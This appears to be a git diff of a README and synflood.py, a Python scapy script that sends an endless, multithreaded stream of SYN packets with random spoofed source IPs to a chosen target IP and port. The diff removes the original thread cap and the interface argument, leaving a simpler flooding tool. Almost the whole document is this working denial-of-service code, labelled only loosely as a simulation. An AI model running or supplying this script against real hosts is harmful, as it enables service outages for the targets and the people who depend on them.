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+Python Script Simulating a SYN Flood attack.
+
+Based on code from: James Penguin

synflood.py

@@ -2,36 +2,28 @@
 #########################################
 # 
 # SYNflood - A multithreaded SYN Flooder
-# By James Penguin
+# author: arthurnn
 #
-# This script is a demonstration of a SYN/ACK 3 Way Handshake Attack 
-# as discussed in this article by Halla:
-# http://informationleak.net/Hacking/Beginner/synack_3_way_handshake_exploit_explained_halla.htm
 #
 #########################################
 import socket, random, sys, threading
 from scapy.all import *
 
-if len(sys.argv) != 4:
-	print "Usage: %s <Interface> <Target IP> <Port>" % sys.argv[0]
+if len(sys.argv) != 3:
+	print "Usage: %s <Target IP> <Port>" % sys.argv[0]
 	sys.exit(1)
 
-interface = sys.argv[1]
-target = sys.argv[2]
-port = int(sys.argv[3])
+target = sys.argv[1]
+port = int(sys.argv[2])
 
-thread_limit = 200000
 total = 0
-#scapy.conf.iface = interface
 conf.iface='en1';#network card XD
 
 class sendSYN(threading.Thread):
 	global target, port
 	def __init__(self):
 		threading.Thread.__init__(self)
 	def run(self):
-		#s = socket.socket()
-		#s.connect((target,port))
 		i = IP()
 		i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
 		i.dst = target
@@ -45,7 +37,6 @@ def run(self):
 
 print "Flooding %s:%i with SYN packets." % (target, port)
 while 1:
-	#if threading.activeCount() < thread_limit: 
 	sendSYN().start()
 	total += 1
 	sys.stdout.write("\rTotal packets sent:\t\t\t%i" % total)